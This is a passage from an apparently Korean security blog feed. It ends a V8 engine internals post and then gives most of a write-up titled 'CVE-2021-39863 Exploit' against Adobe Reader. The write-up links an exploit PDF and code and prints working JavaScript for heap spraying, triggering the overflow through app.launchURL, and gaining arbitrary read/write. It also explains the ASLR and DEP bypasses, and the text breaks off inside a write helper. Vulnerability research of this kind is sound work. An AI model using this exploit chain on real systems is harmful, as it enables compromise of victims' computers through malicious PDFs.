  <li>Maglev : 중간 단계 수준의 최적화를 수행하는 JIT 컴파일러이다. 이 최적화를 위해 소스 코드를 정적 분석을 한다. Maglev가 최적화한 모습을 확인하기 위해 Maglev-IR-Graph라는 것을 통해 분석한다.</li>
  <li>TurboFan : V8의 가장 강력한 최적화 JIT 컴파일러로, 동적 분석을 한 후 최적화하여 컴파일하는 특징을 갖고 있다.</li>
</ul>

<p>이 세가지 컴파일러가 생긴 이유는, 처음에는 Ignition과 TurboFan만 있었는데, 이 둘 사이의 성능 속도와 실행 속도의 간극이 생겨서 이를 보완하기 위해 Sparkplug가 출시되었고, 또 이 Sparkplug와 TurboFan 사이의 속도 차이가 생겨 Maglev가 출시되었습니다.</p>

<p>어느 컴파일러가 최적화를 진행할지는 Ignition이 수집한 프로파일링 정보를 통해 결정이 되는데, 일반적으로 호출 횟수에 따라 정해지기 때문에, 횟수가 증가하면서 <strong>“hot”</strong> 코드로 인식되면 최적화를 진행한다 라고 간단하게 알고 있으면 좋습니다.</p>

<h2 id="garbage-collection-of-v8">Garbage Collection of V8</h2>

<p>제목에 의도적으로 V8의 Garbage Collection이라고 적었는데, 그 이유는 V8의 Garbage Collection과 Java의 Garbage Collection이 다르기 때문입니다.</p>

<p>이것을 이루는 중심 내용은 거의 같으니, 이미 알고 있다면 이해하는데 도움이 될 것 입니다.</p>

<p>이 Garbage Collection은 메모리 중 heap을 관리하는 기능으로, 사용되지 않는 객체를 식별하고 그들이 차지하고 있는 메모리를 회수하는 역할을 합니다.</p>

<center> <img src="https://github.com/user-attachments/assets/0d579d8a-59ff-4a3c-a161-1508caa6db58" /> </center>

<p><br />
기본적으로 V8의 heap은 다음과 같이 영역이 나뉘게 되는데, 우리가 메모리에 할당하는 영역은 Young space와 Old space가 있습니다. 이 두 영역은 서로 다른 방법으로 메모리를 관리하게 됩니다.</p>

<h3 id="young-space">Young space</h3>

<p>이 영역은 새로 생성된 객체들이 위치하는 영역입니다. Scavenging이라는 방식을 통해 메모리를 관리하게 되는데, 이 Scavenging은 Minor GC라고도 합니다.</p>

<p>그리고 Young space를 반으로 나누어서 이 영역 (semi-space) 을 교대로 사용하게 됩니다.</p>

<p>이후 메모리에 할당되는 모습은 다음과 같습니다 :</p>

<ul>
  <li>새로 생성된 객체는 하나의 semi-space에 할당된다.</li>
  <li>이 semi-space가 가득 차면 scavenger가 실행된다.</li>
  <li>이때 참조가 유지된 객체 만을 다른 semi-space로 옮기고, 나머지 메모리는 정리한다.</li>
  <li>두 번의 scavenger가 실행될 동안 살아남은 객체는 old space로 옮겨진다.</li>
</ul>

<p>참고! Scavenging을 하면서 다른 semi-space로 옮기면서 정리하게 되어 이미 이것을 하면서 compaction과 같은 효과를 갖게 된다. 따라서 별도의 compaction 단계는 없지만, Young space도 객체들을 메모리의 앞으로 이동시키게 된다.</p>

<h3 id="old-space">Old space</h3>

<p>Old space는 포인터 영역과 데이터 영역으로 나누어져 있습니다. 포인터 영역에는 다른 객체로의 포인터를 가진 객체들을 저장하고, 데이터 영역에는 오직 데이터만 저장합니다. ( Strings, boxed numbers and arrays of unboxed doubles )</p>

<p>그리고 이 영역은 Young space에서 살아남아 장기간 유지되는 객체들이 존재하는 영역입니다. 이 곳은 Mark-Sweep와 Mark-Compact 방식으로 관리되며, Major GC라고도 불립니다.</p>

<p>Major GC의 특징은 다음과 같습니다 :</p>

<ul>
  <li>Mark-Sweep 방식은 사용되는 객체를 마크하고, 마크되지 않은 (즉, 더 이상 사용되지 않는) 객체들을 정리한다. 이때 메모리 단편화가 발생할 수 있다.</li>
  <li>Mark-Compact 방식은 위에서 단편화가 생기는 것을 보완하기 위해 고안 되었으며, 살아남은 객체들을 메모리의 앞으로 이동시킨다.</li>
</ul>

<p>더 자세하게 공부해보고 싶다면 아래 링크를 참고하면 좋습니다. 굉장히 자세한 설명이 있습니다.</p>

<p><a href="https://deepu.tech/memory-management-in-v8/">https://deepu.tech/memory-management-in-v8/</a></p>

<h2 id="v8-sandbox--aka-ubercage-">V8 Sandbox ( a.k.a. Ubercage )</h2>

<p>V8에는 heap에서 취약점이 트리거 되어도 exploit을 성공하는 것을 막는 보호기법이 있습니다. 바로 이 Sandbox라는 것은, exploit에 사용될 수 있는 객체들을 모은 별도의 분리된 공간입니다. 이를 통해 heap의 객체에 직접 주소를 저장하는게 아닌, table의 index를 저장하는 방식으로 발전해왔습니다.</p>

<p>그리고 이 Sandbox를 우회하기위해 나중에 WebAssembly라는 것을 사용하게 될 것입니다.</p>

<h2 id="preferences">Preferences</h2>

<p><a href="https://www.dashlane.com/blog/how-is-data-stored-in-v8-js-engine-memory">Data and Object in V8</a> <br />
<a href="https://research.google/pubs/maglev-a-fast-and-reliable-software-network-load-balancer/">Abstract of Maglev</a> <br />
<a href="https://medium.com/hcleedev/web-javascript%EC%9D%98-garbage-collection-v8-%EC%97%94%EC%A7%84-9409c5be917c">Explanation about Garbage collection in korean</a> <br /></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="V8" /><category term="V8" /><category term="Garbage Collection" /><category term="Ubercage" /><summary type="html"><![CDATA[V8이란]]></summary></entry><entry><title type="html">CVE-2021-39863 Exploit</title><link href="https://whs-segfault.github.io/adobe/2024/08/25/Korean-CVE-2021-39863-Exploit.html" rel="alternate" type="text/html" title="CVE-2021-39863 Exploit" /><published>2024-08-25T00:00:00+00:00</published><updated>2024-08-25T00:00:00+00:00</updated><id>https://whs-segfault.github.io/adobe/2024/08/25/%5BKorean%5D-CVE-2021-39863-Exploit</id><content type="html" xml:base="https://whs-segfault.github.io/adobe/2024/08/25/Korean-CVE-2021-39863-Exploit.html"><![CDATA[<ul>
  <li>
    <p>CFG를 끈 상태로 취약한 버전의 Adobe로 Exploit Code가 포함된 PDF를 열면 Exploit이 진행된다.</p>

    <p><a href="https://github.com/WHS-SEGFAULT/CVE-2021-39863">Exolit PDF &amp; Exploit Code</a></p>
  </li>
  <li>
    <p>위 깃헙 링크에는 exploit에 사용한 JS code와 PDF 파일이 있다.</p>
    <ul>
      <li>위 링크의 PDF 파일에는 Exploit에 활용할 base URL과 Exploit을 진행할 PDF 내장 Java Script code가 들어있다.</li>
    </ul>
  </li>
</ul>

<hr />

<ul>
  <li>우회하는 보안 기법
    <ol>
      <li>ASLR, Address space layout randomization
        <ol>
          <li>Heap, Stack, Code 영역의 base 주소를 프로그램 실행할 때마다 랜덤하게 바꾸는 보호 기법이다.</li>
          <li>ASLR은 UserBlock Header에서 BitmapData를 유출시켜 r/w primitive를 얻으며 우회한다. <br /><br /></li>
        </ol>
      </li>
      <li>DEP, Data Execution Prevention
        <ol>
          <li>Stack, Heap과 같이 코드를 실행하지 않는 영역에서 명령이 수행되는 것을 막는 보호 기법이다.</li>
          <li>DEP는 Heap으로 Stack Pivoting을 진행하며 수행한다.
            <ol>
              <li>Stack Pivoting은 Stack Pointer인 esp를 변조하며 공격자가 원하는 영역을 Stack으로 속이는 공격 기법이다. <br /><br /></li>
            </ol>
          </li>
        </ol>
      </li>
    </ol>
  </li>
  <li>우회하지 않는 보안 기법
    <ol>
      <li>CFG, Control Flow Guard
        <ol>
          <li>모든 간접 호출 직전에 목적지 주소가 컴파일 타임에 정한 안전한 주소인지 확인하는 과정을 추가해 프로그램 진행 중 예상치 못한 주소로 이동하는 것을 방지하는 보호 기법이다.</li>
          <li>현재 Adobe 팀은 해당 기법을 우회하는 방법을 연구하고 있다.</li>
        </ol>
      </li>
    </ol>
  </li>
</ul>

<hr />

<ul>
  <li>전체 Exploit 과정은 다음과 같다.
    <ol>
      <li>Preparing Heap Layout
        <ol>
          <li>R/W primitive를 얻기 위한 Heap Layout을 구성한다.
            <ol>
              <li>R/W primitive를 base로 삼아 임의 주소의 메모리 공간에 접근해 데이터를 조작할 것이다. <br /><br /></li>
            </ol>
          </li>
          <li>
            <p>ArrayBuffer의 byte Length가 -1이 되면 해당 ArrayBuffer로 생성한 DataView object를 이용해 memory 전체에 접근이 가능하다.</p>
          </li>
          <li>할당된 ArrayBuffer 사이에 연결된 URL이 저장되도록 Heap Layout을 구성한다.
 ⇒ URL이 연결되는 과정에서 Root Cause로 인해 연결된 URL과 인접한 ArrayBuffer의 byteLength가 -1로 변조된다. <br /><br /></li>
        </ol>
      </li>
      <li>Get Arbitrary R/W primitive</li>
      <li>Address Leak &amp; Overwrite</li>
      <li>Preparing Stack Pivoting</li>
    </ol>
  </li>
</ul>

<h2 id="1-preparing-heap-layout">1. Preparing Heap Layout</h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">strRelUrlSize</span> <span class="o">=</span> <span class="mh">0x600</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">strConUrlSize</span> <span class="o">=</span> <span class="mh">0x800</span><span class="p">;</span>

<span class="kd">function</span> <span class="nx">createArrayBuffer</span><span class="p">(</span><span class="nx">blocksize</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="nx">blocksize</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">);</span>
  <span class="kd">var</span> <span class="nx">u8</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">arr</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">byteLength</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">u8</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x42</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nx">arr</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// 1. byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간 생성</span>
<span class="kd">var</span> <span class="nx">arrB</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0xE0</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">sprayStr1</span> <span class="o">=</span> <span class="nx">unescape</span><span class="p">(</span><span class="dl">'</span><span class="s1">%uFFFF%uFFFF%uFFFF%uFFFF%u0000</span><span class="dl">'</span><span class="p">)</span> <span class="o">+</span> <span class="nx">unescape</span><span class="p">(</span><span class="dl">'</span><span class="s1">%uFFFF</span><span class="dl">'</span><span class="p">).</span><span class="nx">repeat</span><span class="p">((</span><span class="nx">strRelUrlSize</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="mi">5</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arrB</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrB</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">sprayStr1</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="nx">strRelUrlSize</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">).</span><span class="nx">toUpperCase</span><span class="p">();</span>
<span class="p">}</span>

<span class="c1">// 2. string 사이에 relativeURL을 저장할 공간 지정</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mh">0x11</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arrB</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrB</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
  <span class="nx">arrB</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// 3. 연결된 URL을 저장할 LFH heap 공간 생성</span>
<span class="kd">var</span> <span class="nx">arrA</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mh">0x130</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arrA</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">createArrayBuffer</span><span class="p">(</span><span class="nx">strConUrlSize</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// 4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간 지정</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mh">0x11</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arrA</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
  <span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Garbage Collection 진행 (URL이 들어갈 공간을 진짜로 비워주기 위해)</span>
<span class="nx">gc</span><span class="p">();</span>
</code></pre></div></div>

<ul>
  <li>Preparing Heap Layout 단계는 다음의 과정을 거쳐 Heap Layout을 준비한다.
    <ol>
      <li>byteLength를 덮어쓸 문자열이 저장될 LFH heap 공간을 생성한다.
        <ul>
          <li>relative URL 크기 (0x600 byte) 만큼의 길이를 가진 문자열을 여러 번 할당해 LFH를 활성화한다.
            <ul>
              <li><code class="language-plaintext highlighter-rouge">"%u????"</code>는 뒤의 2 byte (<code class="language-plaintext highlighter-rouge">????</code>)가 Unicode로 encoding된다.</li>
              <li><code class="language-plaintext highlighter-rouge">sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();</code>는 Null Terminator 2byte 제외 <code class="language-plaintext highlighter-rouge">(strRelUrlSize/2)-1</code>개의 Unicode 문자를 나타낸다.</li>
              <li>Null Terminator 2byte 제외 <code class="language-plaintext highlighter-rouge">(strRelUrlSize/2)-1</code>개의 Unicode 문자는 <code class="language-plaintext highlighter-rouge">strRelUrlSize-2</code> byte 크기로, Null Terminator 2 byte 합치면 relative URL의 길이가 된다. <br /><br /></li>
            </ul>
          </li>
        </ul>
      </li>
      <li>
        <p>string 사이에 relativeURL을 저장할 공간을 지정한다. <br /></p>
      </li>
      <li>연결된 URL을 저장할 LFH heap 공간을 생성한다.
        <ul>
          <li>연결된 URL 크기 (0x800 byte) 만큼 여러 번 ArrayBuffer를 할당해 LFH를 활성화한다.</li>
        </ul>

        <hr />

        <ul>
          <li>각 URL 및 heap header 크기는 다음과 같다.
            <ol>
              <li>relative URL : null 문자 포함 0x600 byte</li>
              <li>base URL : null 문자 포함 0x200 byte</li>
              <li>ArrayBuffer header : 0x10 byte</li>
              <li>Heap metadata : 0x08 byte
 —</li>
            </ol>
          </li>
          <li>relative URL과 base URL은 다음과 같이 저장된다.
            <ul>
              <li>relative URL은 문자열 자체로 strings에 들어간다.</li>
              <li>base URL은 ArrayBuffer로 선언한 영역에 복사되어 들어간다.</li>
            </ul>
          </li>
        </ul>

        <hr />

        <ul>
          <li>URL은 다음의 과정을 거쳐 연결된다.
            <ol>
              <li>baseURL이 연결된 URL을 위한 heap 영역에 복사된다.</li>
              <li>baseURL 뒤에 relativeURl이 복사된다.</li>
              <li>Root Cause로 인해 relativeURL에 연결된 string이 relative URL 뒤에 복사된다.
                <ul>
                  <li>string은 다음 ArrayBuffer의 byteLength를 0xFFFFFFFF로 덮어쓴다. <br /><br /></li>
                </ul>
              </li>
            </ol>
          </li>
        </ul>
      </li>
      <li>LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간을 지정한다.</li>
    </ol>

    <p><img src="https://github.com/user-attachments/assets/39409fa9-f79d-451c-a33c-d0b08c2a461a" alt="image" />
  [그림 1] Preparing Heap Layout 모식도</p>
  </li>
</ul>

<h2 id="2-triggering-the-vulnerability">2. <strong>Triggering the Vulnerability</strong></h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">triggerHeapOverflow</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="nx">app</span><span class="p">.</span><span class="nx">launchURL</span><span class="p">(</span><span class="dl">'</span><span class="s1">bb</span><span class="dl">'</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mh">0x2608</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">-</span> <span class="mh">0x200</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span><span class="mh">0x8</span><span class="p">));</span>
    <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{}</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>baseURL이 연결된 URL을 저장할 heap 공간 앞쪽에 복사된다.
    <ol>
      <li>이때, 해당 heap은 ArrayBuffer가 아니라 일반 heap이기 때문에 heap chunk metadata 뒤에 바로 복사 된다. (ArrayBuffer로 할당했을 때 생성된 ArrayBuffer header 위치부터) <br /><br /></li>
    </ol>
  </li>
  <li>relative URL이 연결된 URL을 저장할 heap 공간 뒤쪽에 복사되면서, 연결된 ArrayBuffer의 byteLength 필드를 변조한다.
    <ul>
      <li>[그림 2]과 [그림 3]에서 Base는 baseURL, relative는 relativeURL을 의미한다.</li>
    </ul>
  </li>
</ol>

<p><img src="https://github.com/user-attachments/assets/6cfd4595-8b18-4643-8976-5791b27dcbfe" alt="image" />
[그림 2] baseURL이 연결된 URL을 저장할 heap에 저장된 직후 heap과 해당 heap 이후의 heap(ArrayBuffer)의 모습</p>

<p><img src="https://github.com/user-attachments/assets/8ab78877-df7e-4d9c-87e2-87763c10d1f9" alt="image" />
[그림 3] URL 연결이 끝난 후 두 URL을 연결한 heap과 해당 heap 이후의 heap (ArrayBuffer)의 모습</p>

<h2 id="3-get-arbitrary-rw-primitive">3. Get Arbitrary R/W primitive</h2>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. oob index에 접근해서 읽고 쓸 수 있는 상대적 r/w primitive를 구현</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arrA</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">byteLength</span> <span class="o">==</span> <span class="mh">0xFFFF</span><span class="p">)</span> <span class="p">{</span>
      <span class="kd">var</span> <span class="nx">temp</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
      <span class="nx">temp</span><span class="p">.</span><span class="nx">setInt32</span><span class="p">(</span><span class="mh">0x7F0</span> <span class="o">+</span> <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">byteLength</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="kd">var</span> <span class="nx">rw</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="nx">arrA</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="c1">// 2. oob base VA(= StartAddr) 획득 =&gt; 임의의 VA값 제어</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">rw</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">curChunkBlockOffset</span> <span class="o">=</span> <span class="nx">rw</span><span class="p">.</span><span class="nx">getUint8</span><span class="p">(</span><span class="mh">0xFFFFFFED</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">BitMapBufOffset</span> <span class="o">=</span> <span class="nx">curChunkBlockOffset</span> <span class="o">*</span> <span class="p">(</span><span class="nx">strConUrlSize</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x18</span>

    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mh">0x30</span><span class="p">;</span> <span class="nx">i</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">BitMapBufOffset</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
        <span class="nx">signature</span> <span class="o">=</span> <span class="nx">rw</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xFFFFFFFF</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">-</span> <span class="nx">BitMapBufOffset</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">signature</span> <span class="o">==</span> <span class="mh">0xF0E0D0C0</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">BitMapBufOffset</span> <span class="o">-=</span> <span class="mh">0xC</span><span class="p">;</span>
            <span class="nx">BitMapBuf</span> <span class="o">=</span> <span class="nx">rw</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xFFFFFFFF</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">-</span> <span class="nx">BitMapBufOffset</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">BitMapBuf</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">StartAddr</span> <span class="o">=</span> <span class="nx">BitMapBuf</span> <span class="o">+</span> <span class="nx">BitMapBufOffset</span> <span class="o">-</span> <span class="mi">4</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="https://github.com/user-attachments/assets/aef802f2-2086-4ff0-a9e9-889489d2aebd" alt="image" />
[그림 4] r/w primitive를 구하는 과정 모식도</p>

<ul>
  <li>임의 주소의 메모리 값을 제어하기 위해 다음의 과정을 거쳐 R/W primitive를 획득한다.
    <ol>
      <li>
        <p>취약점 트리거 이후, 연결된 URL 직후 ArrayBuffer의 byteLength는 0xFFFF로 덮였다.</p>

        <hr />
      </li>
      <li>ArrayBuffer의 byteLength를 -1로 덮는다.
        <ul>
          <li>연결된 URL 직후 ArrayBuffer를 인식하고, 이와 연결된 ArrayBuffer의 byteLength를 0xFFFFFFFF (-1)로 변조</li>
        </ul>

        <hr />
      </li>
      <li>
        <p>byteLength가 -1로 변조된 ArrayBuffer에서 DataView object 설정해 R/W primitive를 생성한다.</p>

        <hr />
      </li>
      <li>
        <p>2.에서 구한 ArrayBuffer에서 data 시작 지점(R/W primitive)의 VA 구한다.</p>

        <p><img src="https://github.com/user-attachments/assets/462129aa-4d27-4abd-83f6-d1f4c33732b8" alt="image" />
 [그림 5] UserBlock 구조체를 이용해 r/w primitive의 VA를 구하는 과정 모식도</p>

        <ol>
          <li>
            <p>byteLength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Heap chunk header에서 chunk number 획득한다. <br /></p>
          </li>
          <li>동일 크기의 제일 첫 Heap chunk의 Heap chunk header 시작 지점과 R/W primitive 사이의 offset을 구한다.
            <ul>
              <li>이때, 아래의 값이 필요하다.
                <ol>
                  <li>chunk number, chunk size</li>
                  <li>Heap chunk의 Heap chunk header 크기 (0x08 byte)</li>
                  <li>ArrayBuffer의 header 크기 (0x10 byte)</li>
                </ol>
              </li>
              <li>
                <p>위 값을 이용해 다음과 같이 offset을 계산할 수 있다.</p>

                <p><code class="language-plaintext highlighter-rouge">offset = chunk number * chunk size + 0x08 + 0x10</code></p>
              </li>
            </ul>
          </li>
          <li>R/W primitive와 LFH Userblock이 정한 signature (0xF0E0D0C0) 사이의 offset을 구한다.
            <ul>
              <li>r/w primitive에서 b.에서 구한 offset 만큼 떨어진 위치에 저장된 값이 0xF0E0D0C0이 될 때까지 4byte 씩 더하며 Signature를 찾는다.
                <ul>
                  <li><code class="language-plaintext highlighter-rouge">offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m</code> <br /> <br /></li>
                </ul>
              </li>
            </ul>
          </li>
          <li>UserBlock 구조체의 BitmapData VA를 얻는다.
            <ul>
              <li>UserBlock 구조체의 구조에 따라 Pointer에 저장된 값(BitmapData 주소)을 획득
                <ul>
                  <li>BusyBitmap.Buffer (Pointer)는 Signature에서 0x0C byte 더 높은 주소에 존재한다.</li>
                  <li>
                    <p>이를 통해 r/w primitive로부터 BusyBitmap.Buffer 사이 offset은 다음과 같이 계산할 수 있다.</p>

                    <p><code class="language-plaintext highlighter-rouge">offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c</code></p>
                  </li>
                </ul>

                <p><img src="https://github.com/user-attachments/assets/20e53ca7-c724-4d59-b4b7-232742a18cf9" alt="image" />
  [그림 6] UserBlock Header의 구조</p>

                <ul>
                  <li><code class="language-plaintext highlighter-rouge">&amp;BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)</code> <br /><br /></li>
                </ul>
              </li>
            </ul>
          </li>
          <li>R/W primitive의 VA를 계산
            <ul>
              <li>이를 위해 아래의 값이 필요하다.
                <ol>
                  <li>
                    <p>d.에서 구한 offset</p>

                    <p><code class="language-plaintext highlighter-rouge">offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c</code></p>
                  </li>
                  <li>d.에서 구한 VA</li>
                  <li>Pointer와 BitmapData 사이 크기 (: Pointer의 크기, 0x04 byte)</li>
                </ol>
              </li>
              <li>위 값을 이용해 R/W primitive의 VA, startAddr은 다음과 같이 구할 수 있다.
                <ul>
                  <li><code class="language-plaintext highlighter-rouge">startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04</code> <br /><br /></li>
                </ul>
              </li>
            </ul>
          </li>
          <li>
            <p>R/W primtive의 VA로 모든 메모리 영역에 주소로 접근이 가능하다.</p>

            <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">function</span> <span class="nx">readUint32</span><span class="p">(</span><span class="nx">dataView</span><span class="p">,</span> <span class="nx">readAddr</span><span class="p">)</span> <span class="p">{</span>
   <span class="kd">var</span> <span class="nx">offsetAddr</span> <span class="o">=</span> <span class="nx">readAddr</span> <span class="o">-</span> <span class="nx">StartAddr</span><span class="p">;</span>
   <span class="k">if</span> <span class="p">(</span><span class="nx">offsetAddr</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
     <span class="nx">offsetAddr</span> <span class="o">=</span> <span class="nx">offsetAddr</span> <span class="o">+</span> <span class="mh">0xFFFFFFFF</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
   <span class="p">}</span>
   <span class="k">return</span> <span class="nx">dataView</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="nx">offsetAddr</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
 <span class="p">}</span>
            
 <span class="kd">function</span> <span class="nx">writeUint32</span><span class="p">(</span><span class="nx">dataView</span><span class="p">,</span> <span class="nx">writeAddr</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
   <span class="kd">var</span> <span class="nx">offsetAddr</span> <span class="o">=</span> <span class="nx">writeAddr</span> <span class="o">-</span> <span class="nx">StartAddr</span><span class="p">;</span>
   <span class="k">if</span> <span class="p">(</span><span class="nx">offsetAddr</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
